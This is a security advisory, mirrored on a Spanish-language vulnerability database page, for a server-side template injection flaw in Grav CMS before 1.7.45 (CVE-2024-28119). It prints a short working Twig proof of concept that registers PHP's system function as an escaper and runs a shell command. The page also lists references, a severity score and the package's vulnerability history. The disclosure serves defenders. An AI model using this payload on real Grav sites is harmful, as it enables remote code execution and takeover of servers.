Server Side Template Injection (SSTI) via Twig escape handler
Summary
Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.
Details
https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99
/**
* Defines a new escaper to be used via the escape filter.
*
* @param string $strategy The strategy name that should be used as a strategy in the escape call
* @param callable $callable A valid PHP callable
*/
public function setEscaper($strategy, callable $callable)
{
$this->escapers[$strategy] = $callable;
}Twig supports the functionality to redefine the escape function through the setEscaper method. However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.
{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.
PoC
{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}
{{ var_dump(['id'] | escape('system', 'system')) }}Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | getgrav/grav | < 1.7.45 | 1.7.45 |
Referencias
- https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58
- https://nvd.nist.gov/vuln/detail/CVE-2024-28119
- https://github.com/getgrav/grav/commit/de1ccfa12dbcbf526104d68c1a6bc202a98698fe
- https://github.com/getgrav/grav
- https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-94- Plataforma
- Composer
- Paquete
getgrav/grav- Publicada
- 22.03.2024
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-2m7x-c7px-hp58 - CC BY 4.0
Historial de vulnerabilidades: getgrav/grav
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 99
- Primera → última
- 11.2019 09.2026
- Sin corrección
- 6
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 7
- Alta 47
- Media 41
- Baja 4
Divulgaciones por año
- 2019: 1
- 2020: 1
- 2021: 4
- 2022: 10
- 2023: 5
- 2024: 8
- 2025: 23
- 2026: 47
-
Server Side Template Injection (SSTI) via Twig escape handler esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.